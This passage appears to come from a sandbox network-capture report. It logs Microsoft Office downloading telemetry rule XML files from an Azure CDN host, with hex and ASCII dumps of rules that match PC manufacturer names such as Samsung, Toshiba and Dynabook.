2024-11-18 20:04:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200404Z-16547b76f7f9s8x7hC1DFWywrg00000005y00000000113fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:05 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:05 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200405Z-1866b5c5fbbzzh8chC1DFWzc5c00000000pg000000004gwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:05 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:05 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200405Z-16547b76f7fqqjnnhC1DFWxv7400000004mg00000000ae1x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:05 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200405Z-16547b76f7ftfv4jhC1DFWuhug00000003wg00000000bn3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:05 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 2f50f683-a01e-006f-37fb-3613cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200405Z-164f84587bfs5tz9hC1DFW9a3w00000006e0000000003qy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 0112037e-901e-00a0-1b8a-396a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200405Z-164f84587bf5rpzqhC1DFWmra800000006d0000000002auw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:05 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:06 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:06 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 8c3bac6a-901e-0015-469b-38b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200406Z-1866b5c5fbbb286shC1DFWx97800000002sg000000009k7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:06 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:06 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:06 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200406Z-16547b76f7f64d6whC1DFWf9vn00000004rg00000000xrk0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:06 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:06 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200406Z-164f84587bfdfkt7hC1DFW4fas00000004c0000000002n22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:06 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:06 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200406Z-16547b76f7f6892shC1DFWawd000000003a00000000082g3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:06 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200406Z-1866b5c5fbbx98hfhC1DFWuqmg0000000520000000009grk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:07 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
